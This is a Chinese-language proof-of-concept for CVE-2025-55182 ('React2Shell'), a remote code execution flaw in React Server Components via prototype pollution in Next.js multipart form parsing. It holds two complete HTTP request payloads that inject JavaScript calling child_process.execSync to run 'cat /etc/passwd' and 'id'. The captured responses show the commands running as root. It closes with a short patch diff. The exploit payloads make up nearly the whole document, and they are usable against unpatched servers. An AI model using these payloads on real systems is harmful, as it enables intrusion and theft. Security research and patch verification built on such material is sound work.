
CVE-2025-55182 (React2Shell)的概念验证漏洞利用,通过Next.js多部分表单数据处理中的原型污染,演示了React Server Components中的远程代码执行。
搭建测试环境
kiot :: ~/react2shell » docker compose build --no-cache
kiot :: ~/react2shell » docker compose up
Payload 1. 通过响应体实现 RCE
POST / HTTP/1.1
Host: localhost:3000
Next-Action: whatever
Content-Type: multipart/form-data; boundary=----cve202555182
Content-Length: 662
------cve202555182
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat /etc/passwd',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------cve202555182
Content-Disposition: form-data; name="1"
"$@0"
------cve202555182
Content-Disposition: form-data; name="2"
[]
------cve202555182--
## ----------------
## 响应
## ----------------
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-store, must-revalidate
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 12:58:56 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 943
:N1764939536038.4795
0:{"a":"$@1","f":"","b":"development"}
1:D{"time":0.4249019999988377}
1:E{"digest":"root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000::/home/node:/bin/sh","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null}
Payload 2. 通过响应头 x-action-redirect 实现 RCE
POST / HTTP/1.1
Host: localhost:3000
Next-Action: whatever
Content-Type: multipart/form-data; boundary=----cve202555182
Content-Length: 658
------cve202555182
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/?${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------cve202555182
Content-Disposition: form-data; name="1"
"$@0"
------cve202555182
Content-Disposition: form-data; name="2"
[]
------cve202555182--
## ----------------
## 响应
## ----------------
HTTP/1.1 303 See Other
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-store, must-revalidate
x-action-redirect: /?uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video);push
content-type: text/x-component
date: Fri, 05 Dec 2025 13:02:27 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 9172
... snip ...
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}